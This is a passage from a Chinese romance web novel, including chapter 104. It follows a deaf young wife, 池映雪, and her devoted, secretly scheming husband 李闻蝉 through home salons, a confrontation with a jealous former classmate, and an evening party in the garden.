玻璃门关合。浴室的白灯光透过门板落在地上。 池映雪缩进被窝里,蜷着身子,紧紧抿唇。 听说。 流鼻血是,很兴奋的表现。 他难道真的觉得她漂亮吗? 抿住的唇,本该一条直线,两边却不受控制地弯上去。 一门之隔。 李闻蝉将手移开,随意抹了两下。 镜里的男子面色阴沉,顶光照射下,冷白色的脸部更加莫测。 血液沾到鼻下,抹去后鼻部却没有一丝血痕。又一声重咳,李闻蝉俯下身,鲜红的血顺唇滴落,和水龙头里的涓流汇聚旋转。 过了十分钟,李闻蝉回到池映雪身边。 池映雪嗅见他身上熟悉的气息,不由多闻了几下。鼻尖不停耸动。 她果然没闻错。 池映雪没有多想,只想着大概是什么男士香氛的味道,睡得更安稳了些。 小夜灯已经关掉。夜色里,借着月光,李闻蝉亲了亲池映雪的鼻尖,眼底一片温柔。 这趟去M国,遇到了一些没眼色的人,听见了一些没眼力见的话。 据说上学的时候,她那双亮亮的眼睛总是盯着别的人。 那个人也是个没眼光的,选了池鲤鲤,又趁着都在M国跑来问他她的现况。 李闻蝉哼了一声,又把池映雪抱紧了些。 ——— 第二天,李闻蝉又一早就去了公司。 第三天还是如此。 池映雪把自己闷在习题堆里。 难道他不想和她多待一会吗? 还是说…… 在他心里,她真的只是一个“妻子”,履行义务的工具。 池映雪吸了吸鼻子,忽然透过窗看见庭院大门前熟悉的车牌号。没来得及管后面跟着那几辆车,啪嗒啪嗒地跑到玄关。 李闻蝉进门,撞进池映雪亮晶晶的眸子里,立马顺手把大门一推。 被关了个正着的胡挚:……??? 门在三分钟后开启。李闻蝉十分不满地请众人进来,胡挚好奇地看过去,嘴角抽搐。 好家伙。 人姑娘的嘴都肿了。 胡挚满脸震惊地看向好友:“你来真的?” 李闻蝉没管他,嘱咐了一句安排好那些人,揽着池映雪就走。 池映雪这才想起来,李闻蝉在M国时就发消息来询问过她的意见——他想在家里举办沙龙或小聚会,结交人脉、宴请好友。 可客人们都在客厅里,他们两个东道主反而来了别处,会不会不好? 李闻蝉捏着池映雪的手,一路牵到吧台。 「没事。刚进门最前面那个男的叫胡挚,你见过的。他就喜欢组织这些聚会,让他招待去吧。」 池映雪乖乖地点头,李闻蝉身心舒畅,心情大好,拿出吧台里提前准备好的碗碟。 第一个大盘子里划分有不少小格,每格都放有不同种类的水果小块,很小很小,而且一样只有三四块。 池映雪不明所以地看向他,李闻蝉把小叉子塞进她手中:“给你的,吃吧。” 池映雪虽然不解,还是按照顺序吃起水果。 苹果。橘子。梨。桃。草莓…… 李闻蝉目不转睛地盯着,那双几乎透明的黑眸闪了一下。 他连忙低眼。是葡萄。 选的品种中绿色偏甜,紫色偏酸,她现在吃的是后者。 到了第二盘,是各种小点心。李闻蝉给池映雪端了半杯可可牛奶润口。 前两排都是各种蛋糕切块,池映雪慢慢地嚼着,用奶咽下去。 还没吃几个,李闻蝉撤走盘子。 「怎么不爱吃还要吃。」李闻蝉擦擦她的嘴,「以后不准这样了。」 池映雪看向满盘的甜点。 原来她……不喜欢吃这些甜的东西吗? 可是不吃很浪费。 李闻蝉一看池映雪惋惜的表情,叹了口气,自己拿过小叉子,一块块吃起来。 「我喜欢。」 李闻蝉边吃边打字:「你不喜欢甜口,刚好我还蛮喜欢。以后你觉得甜不想吃的东西,都给我吃就好了。」 打完字还难掩得意,轻摇了摇头。 互补啊。 他看着可可牛奶,灵光一闪,从身后挖了一勺提拉米苏:试试这个? 李闻蝉不把勺子给她,池映雪只能踮起脚张嘴。偏他还很坏地把勺子抬高了一点点,池映雪忍不住瞪过去,收到一个很深的梨涡。 居然有梨涡。 池映雪含住勺子,眼睛蓦然闪烁星星点点的光彩。 有咖啡的酸,巧克力的苦。好好吃。 池映雪连忙把勺子推回去,指了指李闻蝉身后装提拉米苏的盒子。 她的手指很白,很纤细。 吃鸡柳那天指尖还白白的,现在透着莹润的粉,很有光泽。李闻蝉兀自欣赏了一番,很得意地扬眉,直到目光落在池映雪空空荡荡的无名指。 眸光黯淡了一瞬,李闻蝉不动声色地把自己戴有戒指那只手揣入兜里,回头看池映雪手指的方向。 这么喜欢啊。李闻蝉失笑:还要? 池映雪摇头。 圆眼睛兴奋地睁大,池映雪举起手比划:好吃。你也尝尝呀。 李闻蝉怔然片刻,本就浓墨重彩的眉眼像晕开般,淡淡的水光若隐若现,唇角慢悠悠上扬。 池映雪又见到了那个小梨涡。独独一边有。 勺子放回装提拉米苏的盒子里,李闻蝉却没再挖一勺自己吃。 他只是隔着吧台里外间的桌板,倾身靠过来,含住池映雪的唇,舌尖探入。 这样品尝更好。 ——— 沙龙办了有一阵子。由胡挚牵线,男宾他来选,女宾那边是他表姐帮忙。 有的时候,被邀请来喝茶聊天的客人自己也会携带一两名家属,池映雪还在里面认识一两个友善的新朋友,只是还没有习惯与人多来往。 但她觉得有必要练习这件事,不只是为了李闻蝉,也是为了池映雪自己。这是李闻蝉最近教会她的。 池映雪坐在几位太太之间。有位太太的先生嬉笑着走来说话,正好离池映雪比较近。 他身上有很重的烟味,池映雪微不可察地蹙了一下眉,淡笑着挪开视线。 “罗总。” 李闻蝉端着玻璃杯走过来,与对方手里的香槟相碰,“好久不见,您太太也是。” 李闻蝉不动声色地插在男人与池映雪间,距离拉开,烟味瞬间淡去。 寒暄一番,李闻蝉抿了口葡萄汁:“听说罗太太一直催着罗总戒烟,看来效果不佳啊。” 罗太太一下子皱起脸:“哎哟,可说呢!他这人就是烟鬼一个,怎么改都改不掉!你们平时帮我看着点啊。” 罗总连忙摸摸鼻子,闻了闻衣领和袖口,把沾着烟味的外套脱了下来,腆着脸给老婆赔罪。 李闻蝉淡笑着没说话,趴在池映雪背后的沙发背,低下头。 池映雪也恰好看过来,手机里是已经编辑好的话:「怎么了?」 李闻蝉的笑止在嘴边。 「没怎么。」李闻蝉看着她盲打,「不能找你?」 池映雪立马摇头:「我没有这个意思。」 李闻蝉仔细盯着她看了好一会,眨了眨眼,转移话题:「你不喜欢烟味。」 池映雪刚就和罗太太加了好友,聊了一下。 据她说,李闻蝉以前在HK时就和罗总相识,同样动不动就抽烟,一抽好多根。 偶尔池映雪也会在李闻蝉衣服上闻见很淡很淡的烟草味,不过能感觉到是他沾到的,不是自己的。即使如此,李闻蝉身上的烟味,池映雪并不讨厌。 刚刚罗总身上的,却不大好闻。池映雪想也许是种类的问题,眼珠转了转:「也谈不上喜不喜欢。」 李闻蝉敲了敲她的脑门:「说实话。」 不疼。但池映雪还是有点不高兴。 她哼了哼:「嗯。我讨厌。」 李闻蝉扬起眉。 还好。 戒对了。 ——— 池映雪发现,只要有沙龙,李闻蝉就会在家。 一开始很开心,后来和他相处越久,就越发会生出些患得患失来。 池映雪忍不住去留意那些经常出入家里的未婚女子,大都是太太们带来的亲属,和男宾那边相似的人相亲或相识。 这一看,还真让她认出了一位旧相识。 ……邢芷。 池映雪观察了一下,她好像是被一位年迈的女士带来的。邢芷总是打扮得很显眼,比高中时更精致漂亮,却从没有去和任何一位男客人说过话。倒是在胡挚来找李闻蝉的时候,在后面望过来数次。 池映雪想问,不敢问,而且好像也没理由去问。 怎么问呢?问为什么只有办沙龙的时候,你才会在家。问你是想见……别人吗? 夜晚,李闻蝉帮池映雪清理身体。 洗到小腹,她居然还在发呆。 李闻蝉咬了咬池映雪的脸颊。过了几分钟,池映雪才向后仰头,蹭着李闻蝉的胸口。 李闻蝉及时撤开。 池映雪受不住,黏糊糊地靠过去。李闻蝉强忍住想要再来一次的冲动,手指点着她微微张开的小口,舌尖轻启:“在想什么?” 池映雪装作看不懂。 听不见。 李闻蝉住了口,往身后的墙上一靠。 他已经许久没这么痞气过,懒洋洋的,像个无赖。 像池映雪最近从胡挚那里偶得的,中学时的他。 池映雪攥紧手指,巴巴地碰了碰他的腰。李闻蝉动弹了一下,双手抱在胸前,干脆侧了身子去。 池映雪没办法,闷闷地比划。 沙龙。 在想沙龙。 沙龙怎么了?李闻蝉连忙转过来问。 不喜欢?还是不习惯? 池映雪心里倒有一大堆话,可是经验告诉她,知晓真相有时比不过装聋作哑。 因为没办法承担,戳开真相的后果。 不是的。池映雪摇头,在李闻蝉手臂写字:我喜欢。 对沙龙无所谓,只是喜欢你在我身边。 李闻蝉挑了一下眉,对这三个字的答案满意又不太满意。 手臂还残留酥痒的感觉。李闻蝉弯了弯唇,牵起池映雪的手。 这些天在众人旁亲近,没有丝毫不舒服的感觉。 看来只要能对他有助,事出有“因”,遮遮掩掩也能过去。 李闻蝉啧了一声。 还是更喜欢像这样的二人世界。 沙龙不可能天天办。可就算办了,他们也不是时时刻刻能在一起。 这天,老爷子突然叫李闻蝉去一趟。 李闻蝉不情不愿地拖着步子走人。池映雪看着他的背影,也没有留在茶厅的想法。 她和胡挚他们知会一声,独自上了楼,回到房间。 李闻蝉把她的梳妆台和衣柜都设计在卧室内部的小隔间。池映雪打开首饰盒,用钥匙打开唯一有锁的那一格。 几枚结婚戒指安静地躺在那里,散发璀璨的流光。 仅仅看着,就让人幸福。 只是她的这几枚钻石太大了。唯一日常的那款虽然相对较小,但对池映雪这种从不佩戴首饰的人来说,还是有些太奢侈。 尤其是…… 当年,池映雪就是被冤枉偷了首饰才住到那个别墅去。 她不习惯,也不愿意戴。李闻蝉并没有说过这件事,要不是过阵子要在家里举行宴会,池映雪都忘记了。 今天邢芷又在目光含情地看他。李闻蝉平时那么细心一个人,难道就一点没察觉到吗? 人可都是他和他朋友安排进来的。池映雪难过里带了点窝囊的想,幸好老爷子把李闻蝉叫走了。 池映雪取出一枚蓝珀戒指,捏在指尖举起,借着窗外透进来的阳光欣赏。 小隔间的门帘被掀开,池映雪并没有听见。 直到镜子里忽然多出一个人的身影,她才惊诧转身。 一身黑色高定的邢芷神色难辨,在池映雪转过来的那一刻,立马紧盯她手中的戒指。 邢芷:「好久不见啊,池映雪。」 池映雪没回话,邢芷自顾自地打字:「我理解你这种心态。好不 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邢芷大叫一声,抢夺的动作忽然停下来。池映雪听不见她的动静,只靠惯性移身,没了邢芷的手臂挡在身前,不慎向前栽去。 恍惚间,一个有力的臂弯稳稳接住她。 橘香扑鼻。不知从哪一天开始,李闻蝉身上永远浸着这种香味。 及时。清冽。温和。 令人安心。 李闻蝉将池映雪抱在怀里,先检查一番,最后看向她手里紧紧捏住的戒指。 李闻蝉声音很慢,很轻,一字一句说给池映雪看:戒指并没有你重要。 池映雪打量着他,察觉到李闻蝉自进门来完全没朝邢芷看,这才松懈下来。 她不置可否,把脸埋进李闻蝉怀里。 李闻蝉揉了揉池映雪的头,冷淡的眼神扫向邢芷:“你是谁?” 邢芷还没说话,李闻蝉不感兴趣的声音沉沉传来:“我会让我的律师联系你。” 他说完就转身离开,邢芷突然大喊:“李闻蝉,她是个疯子!她心理不正常,你也要娶她吗?” “他们全家都知道,就为了让女儿嫁进来,没人会告诉你!” “还有,池映雪有喜欢的人,是沈星桥!你不要被他们骗了!” 邢芷上前一步,“你……既然是联姻,你娶利益集团里的谁不是娶?她、她是有心理医生开的证明的,你和她在一起很辛苦。就算为了报答老爷子也不用娶二房的人呀。” 李闻蝉眯起眼,对上怀里池映雪清澈的视线,安抚地吻了一下她的脸颊。 大手扣住池映雪的后脑勺,埋进胸前,直到确认她看不见口型。 李闻蝉:“你这不是很清楚吗?” 邢芷一愣。 “报答老爷子不用娶池润的女儿。不错。” 李闻蝉悠悠道,“至于联姻……” 李闻蝉漫不经心地旋过身,对着邢芷勾唇,也正对她身后,窗外的天空。 唇角挂着深深的挑衅:“真有人会相信,联姻是解决问题的手段?” ——— 邢芷被保安拖走,李闻蝉把池映雪放在床上,检查脚踝有没有扭到。 池映雪闷着脑袋:「你刚才最后和她说了什么?」 还不让她听。 李闻蝉眸色深了深。 「没什么。」李闻蝉掩盖了邢芷口中心理问题和沈星桥那段,「我不认识她。她提起你爸爸,似乎有意离间我们。」 不认识?不认识她那么看你。还来了那么多次,难道你就真的一点都没发现。 池映雪没敢怼出口,而且下意识觉得他们说的不止这些。 可想到池润,她的睫毛微微发颤,犹豫了好久,还是不敢对李闻蝉说,与父亲的关系并不好。 邢芷也说了,李闻蝉是因为池润的缘故才与她联姻的。 李闻蝉忽然皱起眉,池映雪摸了摸他的眉心:怎么了? 李闻蝉连忙笑起来,竖痕散去:“没什么。” “我有事处理,先走了。” 池映雪连最后两个字的口型都没看完,李闻蝉就站起身。 不想他走。池映雪下意识抓住他的衣角。 李闻蝉果然回身,眉又皱起来,很淡的。 怎么了?他耐心问。 池映雪眨着眼,急忙摇头,将心里的话压了回去。 睫毛颤抖着。池映雪深深呼吸,最终拉过李闻蝉的手心,一笔一划,用尽全力写。 「李闻蝉。」 「你不可以娶别人的。」 「只有我,可不可以?」 动过那个念头也不行。在心里娶别人也不行。 可不可以,不要“谁都可以”? 池映雪委委屈屈地写字,写完又觉得自己太霸道了。 她瘪起嘴,用左手握拳做出擦拭的动作,在他手掌心磨来磨去。 李闻蝉轻轻包住她的手。 他在池映雪面前蹲下,温和而坚定地清晰开口:只有你。 李闻蝉牵着她的手覆上心脏。 “这里。”他抬了抬无名指,戒指熠熠生辉。 “还有这里。” 与手心紧贴的心脏传来很快很明显的跳动。 “一直只有你。” 他说完就加速离去,脚步匆促。池映雪没有留意到,双手捂脸瘫在床上,掌心还留有李闻蝉胸口的体温。 什么叫一直?他们才认识多久。 可,就算是哄小孩子的话…… 池映雪睁眼,指缝里漏出来点点星芒。 她也愿意信的。 ——— 楼下,胡挚打开书房的门:“抱歉蝉哥,我表姐没在南城念高中,不知道邢芷和池鲤鲤的关系,让她姨妈把人带进来了。” “这么多年,我也忘记她长啥样子所以……”胡挚关上门,担心地上前,“你怎么了?” 李闻蝉松开按揉心脏的手,咬牙忍耐道:“没什么。” “刚才撞到了。” 胡挚心大,又观察了一会,好像确实不太严重,便放下心。 虽说蝉哥的脸还白着,但他平时也就是冷白相,估计书房的顶灯太亮了,照的显白。 “接着说。” “诶。”胡挚正色道,“我刚一问才知道,邢芷那家伙来好几次了,咱俩居然都没发现。啧,不过你当时就不咋爱去学校,也不混圈子,当然不知道她。” 那是。有池映雪在,李闻蝉哪顾得上看别人。 李闻蝉深深皱眉:“学校里,邢芷和池鲤鲤经常欺负池映雪?为什么外界只流传宁世延等人?” 李闻蝉是猜到过池鲤鲤会对池映雪不利,所以高考后就操作把她弄去国外了。宁家也已经被他弄了。 但看邢芷的态度和她的反应…… 简直像是被欺负惯了。 李闻蝉沉下眉眼。 “这个我也不清楚,我当时也不爱上学嘛。”胡挚挠脑袋,“但我刚和万姐聊天吐槽来着,她说池鲤鲤那对外形象都是天使小公主,诚然可能本性是不坏,但首先那坏事从来不沾她手呀,这不有宁世延等舔狗走狗抢着干么。” “还有邢芷,万姐和她也不熟,但孟大小姐熟。邢芷完全就是个小人,借刀杀人还诛心玩得溜溜的,好像宁世延最早欺负池映雪,就是她示意的。” 李闻蝉眯了眯眼:“……呵。” 胡挚一看他这个冷森森的表情就猜到他要干嘛,想了半天,憋出一句话:“你打算替老婆报仇?要不忍忍呢?” “邢芷好歹是邢家的。”胡挚干巴巴的,“况且我问了万姐,她知道的也就是那种小打小闹的欺负,比如抢件衣服……” 胡挚抽抽嘴角,“算了好像是挺过分。” “不是挺过分。”李闻蝉沉声,“是不可饶恕。” 外人知道的就有这么多,那不知道的呢? 还忍忍,凭什么? 李闻蝉一锤定音:“原本留着邢家是为了有需要时扳倒池润。自己不中用,就一起去坐牢。” 胡挚惊道:“池润?那可是你岳父!” “嗯。”李闻蝉淡淡道,“我会让他们在境外坐牢,不脏她的眼。” 见胡挚还在震惊中,李闻蝉耐心解释了一句:“其他人暂且不论。池润对我太太不好,从结婚一事他的态度就能看出来。” 胡挚宕机了好几分钟,大脑二十年来第一次通了一下:“那啥,你你你别告诉我,你是故意放任池润他们贪心……做大的。” 可为什么?当年,所有人都以为是李闻蝉唯一一次决策失误,放任了池润的发展,如今才不得不需要联姻,靠结婚来稳固、拉拢。 此外还有人揣摩娶池家人是为了让老爷子放心把盛池传给他。 现在李闻蝉说什么? 他一早就安排了人,为了日后扳倒池润? 有多早? 还坐牢,那说明他手里什么牌都有啊?! 那他还联个p的姻……胡挚很快否定了自己。这么说起来,搞得和李闻蝉是为了结婚而结婚一样,那怎么可能? 想结婚结就是了,干嘛花几年功夫下这么大一盘棋。 胡挚只能说:“看来你是真的很喜欢那个池映雪。” 他想起万苏瑶整天捧着看的小甜剧,吹了个口哨:“先婚后爱啊,蝉哥?” 胸口的闷痛慢慢消失,指甲深嵌入掌心。 李闻蝉切齿,暂且含糊道:“……何止。” “早知道你会喜欢她,当年就……”胡挚挥了挥手机,“万姐那时候吵着要和池映雪交朋友,结果运动会被拒绝了后就没找到合适的机会。” “就该把你也带上,你俩一起努力几回,敲开池映雪同学的心房。” 李闻蝉苦笑:“我也想。” 也许那会是另一个故事。 104. 你相信我吗? 蓝调时刻。 花园被布置成宴会场的模样,星星点点的小灯照耀新鲜花丛,名流盛装穿梭其间,香槟塔宛如金黄色喷泉。 池映雪在小隔间里穿礼服,透过单向玻璃瞥见下面游泳池旁的派对区,弯了弯眉眼。 这是她和李闻蝉一起着手布置的。很开心,除了沙龙,他又有在家的理由。 礼服也是二人一起挑选。洁白无瑕的长裙,像那日的婚纱,而更加简洁轻便。 只是选礼服的时候,池映雪并没有亲自上身,而是设计师带来与他们身形相仿的模特展示。那个模特披着长发,池映雪光留意衣服的颜色,像小时候最羡慕的公主裙,便不曾仔细留意背部的设计。 镜里的倒影将黑发拨去肩前,雪白纤细的后颈显现,往下是单薄的蝴蝶骨,就这样毫无遮掩地与空气相触。 戛然而止的拉链上方仅剩一条系带,打结的手久久不落。 池映雪检阅镜子里的她,有些不敢出门。 身后的门悄然开启。池映雪并未留意,轻垂下眼,系带缓缓松开。 腰后的骨骼突然酥软。 温热的鼻息洒落,池映雪不由挺起腰,被熟悉温度的大手锢住。 橘香温柔地包裹住她裸露的背侧,抚平羞耻和不安。 李闻蝉缓慢地系好蝴蝶结,洁白丝绸在灯下流光溢彩,不及下面肌肤的一半细腻动人。 李闻蝉视线上移,停留在光洁的后颈数十秒,眸光渐渐深邃。 密密的吻落在腰后。 可以了…… 池映雪艰难地将手向背后探去,推了推丈夫的头颅。 宴会就要开始了。 李闻蝉不舍地起身,瞥一眼镜中璧人黑与白交织的身影,轻轻勾唇。 池映雪也跟着看过去,抿嘴吞咽,手指小心地贴向他的掌心。 「我穿这个,会奇怪吗?」 池映雪感受到李闻蝉的视线再次落到她身上。这次不是镜中,是对她。 一寸寸目光流连,像盛夏日最烈的日光,人往下面一站就淋了满身,无所遁形。 李闻蝉堂而皇之地盯了好久,也不回话,就是不移开视线。池映雪脸很热。 是……很丑吗? 连话都挤不出来。 终于,李闻蝉喉结滚动:不会。 他问:你很急着去宴会厅么? 池映雪点头。 据胡挚说,今天的宴会是为了招待李闻蝉中学时期为数不多的朋友的。池映雪第一次如此正式的面对李闻蝉的社交圈,不想怠慢半分。 那你先出去吧。李闻蝉淡淡道,我随后就来。 池映雪听不见李闻蝉的呼吸,只能感受到头顶的空气好像升了温。 ……嫌弃她。 池映雪睫毛轻轻颤着,很小步地挪走了。 ——— 宴会厅现场,胡挚挂断电话,环视四周,再次感慨他蝉哥的财大气粗。 瞧瞧这家里,虽然设计低调,但细节处的功夫都是顶级的。就连桌椅边角都用了特殊材质,磕着撞着都不会有碍。更别提到处都有可视的警报设备。 胡挚看向不远处的池映雪,暗自吃惊。 记得婚礼那天胡挚还在替李闻蝉惋惜,照他的审美,池映雪底子不错,但未免太瘦弱,那张薄薄的皮挂在骨上真像一层雪,脆弱得似乎一捏骨头就碎了。 后来隔段时间再见,脸上已经有了些肉感,白里透着粉,妥妥的小美女一个。现在看上去,可以算得上大美女了。 胡挚当时还调侃李闻蝉这全靠爱情的滋润,被李闻蝉骂了回去。他清高,他说他老婆本来就漂亮。胡挚对着空气翻了个白眼,终于在人群里找到姗姗来迟的李闻蝉。 有人递给他一杯香槟,李闻蝉娴熟地婉拒,接过侍者端来的果汁。 胡挚莞尔,大踏步走去:“你刚去哪了?” “我一个人无聊死了。毽子去接万姐,结果堵车了。韩潇那个死鬼也没见影,你说他不会单久了又重新……” 鼻尖动了动。 沐浴露的香气?橘子? 胡挚:“蝉哥,你好香啊~” 李闻蝉嫌弃地远离他一步,红唇微启:“滚。” 果汁在手中轻轻摇晃,李闻蝉饮下一口,抬起的长眸流转,在人群中精准锁定那道白色身影。 眼睛弯了弯。碎发覆在额前,尾部略有潮湿。 胡挚跟着望过去,心想韩潇还老觉得李闻蝉喜欢上妻子不符合逻辑,幸好胡挚念书时就学不来逻辑,才得以保留学渣的蒙题直觉。 胡挚:“不过去吗?” 池映雪正在几个平时有来往的和善太太周围淡笑。虽然犹显青涩,但眉眼里沾着平日少见的跃然。 所以,她并不是不喜欢和人来往。 李闻蝉的声音不由放轻:“等会儿。” 放松的眉头突然皱起,眼神瞬间恢复一贯的锐利。 李闻蝉冰冷地凝望池映雪身后的男人。西装革履,眼神却下流,就这样打量她的后背。 池映雪对他人的注视十分敏感。宴会厅里人多眼杂,总觉得还有些不适应。 好在她远远接收到李闻蝉的视线。他看着她,虽然没有走近,也叫人安心。 身后似乎还有不善的关注,池映雪趁身边的太太如厕时鼓起勇气冷脸回眸,却顿时感觉那股不适感消失了。视野里空空荡荡,就连李闻蝉也不见踪影。 池映雪转了一圈,都没有找到他。心想或许在外面,便提着裙子先去了宅子前院的花园。 夜空璀璨。池映雪刚转到大门边,看见保安和管家在门口拦人。 对方神情焦灼,看见池映雪的那一刻眼前一亮。 车上又下来两个人,池映雪稍稍退后。 池润揽着秦书不请自来,亲昵地同池映雪打招呼。 开车的人对管家道:“看见了没?我带的可是这里女主人的父母!他们需要请柬吗?” 管家疏离地笑笑,走到池映雪身边用手语请示。 池映雪感到无数视线朝她看过来。 这是她血缘上的父母。 池映雪不想让他们来,连请柬都没有准备,李闻蝉也默契或健忘地没有提起。 可现在这么多人看着,李闻蝉也一定会知道。 池映雪想起李闻蝉提及母亲时温柔的怀念,虎牙抵着唇瓣,对管家点头。 池润高昂着头瞪管家一眼,满意地上下打量池映雪:“不错,不错!” 像在自得于高价卖出的商品。 池映雪的呼吸放缓,又变急促,几乎有些窒息。秦书正好揽住她的手臂,池映雪浑身战栗,下意识抽开,让管家安排他们后快步离开。 李闻蝉。 池映雪不断在心里念着这个名字,越走越快。 好想见他。 她好像做错事了,可是池映雪不知道该怎么办。 池映雪以为过了这么久,远离了那里,远离了他们,她已经和正常人无异;可现在重新相见,仅是如此都让她想要落泪。 尤其池润还特意告诉她一个“好消息”。他说,为了让池映雪开心,他把在国外的池鲤鲤生活费扣光,让她不得不像池映雪回家前那样,在小吃店打工谋生。 可池映雪并没有多么开心。 直到走进灯光温暖的玻璃房内,到处是他们共同生活的痕迹,池映雪才放慢脚步。 这里是她和李闻蝉的,家。 不是冰冷奢华的玫瑰园别墅二层,不是位于偏僻新区的避世小房间。 通过窗外能眺见的不是荒芜的草地,是很大区域的泳池,在夜晚的灯光下波光粼粼。 通往泳池的路上,池映雪经过一片小竹林,在石子路间闻到一股腥臊。 别的地方可以不管,可这是他们的家。池映雪皱了皱鼻子,捂住口鼻悄然走近。 夜色深沉。 地面上的男子鼻青脸肿,瘫软地自己跪到地上,裤间一团水渍。 李闻蝉,她印象里温柔稳重的丈夫——恣意散漫地坐在一把靠椅上,那只冷白色的大手懒洋洋地撑着脸,轻蔑俯视西装皱乱的男人。 李闻蝉悠悠道:“我一向是个仁慈的人。” “这世上有那么多人没有光明,多可怜。你说,要是有人不想要自己的眼睛,为什么不献给那些有需要的人呢?” 男子瑟瑟发抖:“李先生,我真的错了!我、我再也不敢乱看您太太的……” 他本来是想接着说,女人露出来不就是给男人看的。再说娶娇妻不就是摆个漂亮花瓶,不至于对他这个合作伙伴的儿子下手…… 但男子刚才光是透出以上三分想法,就被李闻蝉一脚踹了出去。 “看谁的都不行。”李闻蝉皱眉。 “是,您说的对!我一定改!” 李闻蝉懒得和他多费口舌。这种吓唬吓唬就屁滚尿流的垃圾,趁早赶出去好。 李闻蝉还要去找池映雪,不耐地挥挥手:“自戳双目三次,我会不追究到你父亲身上,没有下一回。” 不远处的竹叶沙沙响动。李闻蝉长眸微眯:“谁?” 无人应答。 李闻蝉冷漠地望去。 视线相撞那一刻,二郎腿迅速放下,整个人在椅子上坐得端正。 喉结猛地一颤。李闻蝉正欲起身,池映雪小心翼翼地走过来,步履轻轻。 月光下那张小脸越来越近,白得不像话。本就纤细的人踩在石子路上,似乎有些摇晃,像是怕极了。 李闻蝉紧紧注视池映雪的一举一动,生怕她摔了。又不敢再动,怕他稍有动作都会惊吓到她。 池映雪刚走近,就被那只大手轻轻地揽过去。她的膝盖靠上他的腿,被抱着坐在上面。 还是和平日一样温柔的力道。 池映雪颤巍巍地回头,不忍直视地上狼狈的男子。李闻蝉的冷面在池映雪转回脸的同时荡然无存,只是对扣住男人的保镖挥手,把人带走。 李闻蝉深深看向怀里的池映雪,将额头与之相抵。 他无声开口,掩盖微颤的事实:怕吗? 视线一刻不离她的眼,唯恐漏掉或认错任意一丝情绪。 池映雪沉默了一会,很小幅度地点了一下头。 李闻蝉眼里的光如烛火熄灭。只又一阵风过,烛光重新燃起。 池映雪在他手心写字。 但是。 你肯定有你的理由。 池映雪看向李闻蝉,透亮的眼睛像一盏灯。 她这样相信他。 李闻蝉的呼吸恢复正常,无声吞咽一下,突然抬起手再次挥动。 池映雪一头雾水地看见他身后那些还留在那里的保镖转过身去,背对他们有序撤离。下一秒,那只手来到她的后颈,向前按入他唇前。 很深的吻。 李闻蝉亲得好凶,池映雪逐渐喘不过气。即使她是一条鱼,此刻也会溺在漩涡中心。 直到池映雪必须要换气他才放开。池映雪被他侵入得浑身软掉,手无力地抓着黑色西装的领口,不停仰头呼吸。 粉唇微微张着,显然还没缓过来。虎牙在湿润的上下唇瓣间若隐若现。 李闻蝉:“……够了吗?” 什么?池映雪抬眼望他,还没看清就再次陷入又一轮的亲吻。 池映雪该庆幸她听不见。 即使听不见,也能猜到他们相接处的水声。李闻蝉很像一块卸妆棉,吞没她的每一丝口红。那双手,有力的手臂,掩藏在西装下的她切身体会过数夜的薄肌,此刻正密不透风地将她后背的蝴蝶骨裹挟、占有。 直到胡挚不厌其烦地打来电话,震动感将池映雪都惊觉,李闻蝉才一脸不满地松开。 挂断后,他捏捏她的手:我的……也算是朋友,都到了,想见见你。 池映雪心如擂鼓,又有些紧张。李闻蝉没在她脸上看见对甜点心和糖醋小排流露的那种神情,浅浅勾唇:「我还有点事要和他们说,你先在周围转转。现在是八点三十六,九点整我们泳池见。」 ——— 泳池边。 万苏瑶拿出小镜子一顿照:“虎子毽子你们来帮我看看,这妆没花吧?还有我裙子,没压出褶吧?” “你再多看两次可能就有了。”胡挚无语了,“我说人家蝉哥给老婆惊喜,你在这里紧张激动梳妆打扮干嘛呢?” “你还不知道她。”章子健从笔电中抬头,无奈道,“她‘暗恋’池映雪同学很久了。” 李闻蝉刚走过来就听见最后一句话,昂首阔步道:“谁暗恋?” 几人打过招呼,章子健连忙解释:“我开玩笑的。” 万苏瑶有些怵李闻蝉,罕见闭麦,胡挚哈哈大笑:“蝉哥,这就是我和你说过的万姐,你还记得吗?她以前一直想和池,和嫂子做朋友,运动会……” “我有印象。”李闻蝉颔首,正面直视万苏瑶,目光诚恳,“多谢。” 万苏瑶没想到李闻蝉和传闻里一点不一样,赶紧摆手:“没事没事!我那时真没帮上什么。” 章子健静静看了李闻蝉一会,转身问刚接完电话回来的韩潇:“这就是你说的‘商业联姻’?” 韩潇一脸单纯:“啊,咋了。” 章子健:“……你最近是不是工作太多?” “哎对啊!你也能看出来是吧,我和蝉哥最近都忙的要死……” “嗯。”章子健点头,“都累傻了。” 李闻蝉很快就停止闲谈,找章子健最后确认笔电里无人机的演示工作。 胡挚凑过来感慨:“南城的无人机烟花果然还是你家最牛,比我上次在D国度假看得那场有审美多了!” “这个系列是不是一直在迭代?很前沿吧?” “没有,几年前就达到了。”章子健随口道,“大概我们高二那年。” ——— 约好九点见面,可刚和李闻蝉分开,池映雪就开始看表。 八点四十五,她就离开了刚进来不久的宴会厅。 其实从她在的位置到游泳池,走快一点就五分钟路程。可是一想到要见面的是李闻蝉和他的朋友,池映雪就忍不住更早抵达。 她想起上回说好去公司“视察”。李闻蝉堂堂大老板,放着工作不干,自己提前跑到一层进门处等待。 无人机将夜色照亮,在泳池上空盘桓。 像是多年前曾经看过的一场烟花,在空中慢慢汇聚成雪花的形状。 池映雪站在连接宅子后门与后院泳池的长廊中,仰起脸,呆呆地看着满天光彩。 不远处的泳池,李闻蝉和他的朋友们就在无人机下谈笑。操作的人正是其中一位池映雪不曾见过的男生。 池映雪居然还在里面看见了万苏瑶,她的空气刘海换成了中分,其余变化不大,还是那么大方漂亮。 对哦。 他们都是当年五班的同学。 池映雪的心很轻盈地悦动起来。 她还欠万苏瑶一句谢谢,还有对不起,没能抓住她伸出的手。 池映雪抬起脚,像跨向崭新的时空。一步。两步。 右侧忽然闪过一道黑影。 池映雪警觉地看去,双眸瞪大,亲眼目睹那人溜上楼。 三年多以前也是这样。 这次池映雪跟了上去。那是一个背影陌生的女人,池映雪自认记忆力不错,却对此人毫无印象。 不是宾客,不是她的旧识。如果是李闻蝉那边不请自来的客人,更不必如此诡异行事。那就是她没见过的、新来的佣人吗? 可她为什么那么像……小偷。 池映雪呼吸微滞,忘记叫上旁人,像被牵引般随那人走入她和李闻蝉的卧室。 眼前的场景慢慢与三年前重叠。女人显然知道卧室所在,对内部却并不熟悉。池映雪回过神,趁机按下门边静音的安保按钮,从暗格里取出电击棍跟上。 女人蹑手蹑脚地走动,很快停在他们离开前忘记关门的小隔间。 她掀帘而入,池映雪紧随其后,攥住电击棍向前挥去。 